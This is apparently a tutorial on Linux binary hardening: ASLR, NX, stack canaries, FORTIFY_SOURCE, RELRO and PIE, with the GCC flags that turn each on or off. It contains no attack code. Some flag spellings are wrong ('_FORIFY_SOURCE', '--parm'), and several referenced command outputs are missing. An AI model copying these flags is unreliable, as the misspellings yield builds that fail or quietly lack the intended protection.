Enables randomization of  various memory allocation segments (stack, mmap, exec, brk, and vdso). When enabled, each invocation of a binary will have its memory allocations randomized within the available virtual address space. As such, an exploit technique like Ret2libc, that requires static memory addresses of common library functions, is no longer effective.
The randomize_va_space kernel parameter defines system-wide configuration setting for ASLR. This parameter could be set to the following values: 
0 - ASLR is turned OFF 
1 - ASLR is turned ON (stack randomization)
2 - ASLR is turned ON (stack, heap, and mmap allocation randomization)
Once enabled, each invocation of a program will have different memory locations assigned to it:

 
In the above output note that all the segments of the /bin/cat process are mapped at different memory locations with each invocation. However, closer look provides an interesting observation. The first three segments that contain .text section of the binary (notice the r-x permissions) are still mapped at similar locations each time. We have enabled ASLR and it is indeed active, so why aren't the .text segments not mapped randomly? We will talk about this behavior in much detail within the PIE section.
This feature disallows code execution from marked memory pages/segments. It is also referred to as W^X (W XOR X) due to the fact that the pages marked with this feature could either be writable OR executable but not both at the same time. When enabled, a process's memory allocations, that do not contain instructions, will have only rw- permissions assigned to them by default. As such, even if an attacker successfully injects code into a writable memory region through an overflow bug, an attempt to execute code from this section would still fail.
NX is enabled through the MMU by setting bit 63 of the page directory entry. Important thing to note here is that this feature is available only on those systems that have 64bit capability or on those systems that use a PAE-enabled kernel. This is because on a regular 32bit kernel without PAE support, a page directory entry is just 32bit wide and hence there is no room to store additional meta-information about memory pages it points to. The Execshield and Grsecurity set of kernel patches could also be used to simulate this behavior when the above requirements could not be met:

-z execstack - request the linker to mark program stack as executable
-z noexecstack - request the linker to mark program stack as non-executable (recommended)
Note the permissions of the GNU_STACK section in the above output. When we request executable stack through the linker option, GCC marks the stack as executable with RWE permissions. On my test system, which is an Ubuntu 10.04 derivative with GCC version 4.4.3, the default command-line disables executable stack markings as evident in the output of first command-line. This behavior of implicitly enabling safeguards makes an application immune to stack-based execution and other such attacks even if the developer fails to include them during compilation.
Stack Canaries are a protection feature that safeguard critical program metadata information located on call stack. When enabled, a random canary value is placed on the stack, just below the saved registers from the function prologue. Before a program returns control to its parent, the saved canary value is checked. Any attempts to overwrite the saved return address on the stack will also overwrite the saved cookie and as such the above check would fail. In such cases, the __stack_chk_fail function is called, which displays a friendly "stack smashing detected" message and aborts the execution of the program.
This mitigation technique also reorders the placement of local variables on the stack. This is done to ensure that any variable, that directly influences the program control and redirects its normal flow, is placed below a buffer that accepts user-supplied input. Such a placement prevents overwriting of variables placed adjacent to buffers. To read more about other such novel ideas implemented in this protection technique, visit this link: SSP
The following options enable/disable this check:
-fstack-protector - enable checks for functions with character buffers of size 8B or higher
-fstack-protector-all - enable checks for all functions (recommended)
-fno-stack-protector - disable stack protection checks
-Wstack-protector - emit warnings for all unprotected functions (recommended)
--parm=ssp-buffer-size=<size_in_bytes> - modifies the default 8B buffer length
GCC versions 4.x include SSP techniques in their native implementations. Prior 3.x versions had this feature enabled through a patch.
There are cases when a compiler can correctly estimate the size of a destination operand used in a certain string operation. For such cases, the compiler could be requested to replace any vulnerable function calls in the program source with their equivalent safer counterparts. This would eventually make the compiled binary resilient to most overflow attempts without significantly impacting its performance:
In the above output you could see that the GCC option -D_FORIFY_SOURCE has been used to include fortifying checks. The call for function printf and gets were replaced with their safer equivalents, __printf_chk and __gets_chk respectively. This option can accept two values:
-D_FORIFY_SOURCE=1 - to enable checks against buffer overflow attacks
-D_FORIFY_SOURCE=2 - to enable checks against buffer overflow and format string attacks (recommended)
Another mitigation technique that safeguard against those exploits that require Global Offset Table (GOT) modifications. For this to work, all dynamic symbol resolutions, requested by a binary, have to be carried out before the program execution begins. Once this is done, the GOT could be marked as read-only, thus preventing any runtime modifications.
By default, when we use the GCC linker option -Wl,-z,relro, PLT (Procedure Linking Table) entries, which include references for library functions within a process's memory allocation, are marked as writable (lazy-linking). All other GOT entries apart from PLT remain read-only, providing what is know as Partial-RELRO support:
The -z,now option ensures that PLT entries are resolved immediately before execution, thus allowing the entire GOT to be marked as read-only. This ensure that Full-RELRO support is enabled for the compiled program. The summary for these options is:
-Wl,-z,relro - enables Partial RELRO support
-Wl,-z,relro,-z,now - enables Full-RELRO support (recommended)
This feature helps to load a program at a random memory location on each invocation. With ASLR enabled, the stack, heap, and mmap allocations are automatically randomized. However, like we saw earlier with the /bin/cat binary, the .text and other sections of a program are still loaded at static addresses. To make all sections of a program to load at random addresses, we need to compile it with PIE support:
The following GCC options could be used to enable PIE support as evident from the above output: -fpie -pie (recommended)
Programs compiled with this feature are marked as shared relocatable, much similar to shared object libraries used in dynamic linking. To read more, visit this link: PIE
Enabling these mitigation techniques will definitely improve the overall security posture of a system, it still does not make it bullet-proof. Some of these techniques might break compatibility with legacy applications, while others might not work as expected. Different distributions use different default configuration settings and as such you can not simply standardize. The most suitable option would be to test your application code first hand with each of these options, carefully considering the tradeoffs and using only those that provide that rare mix of security and usability.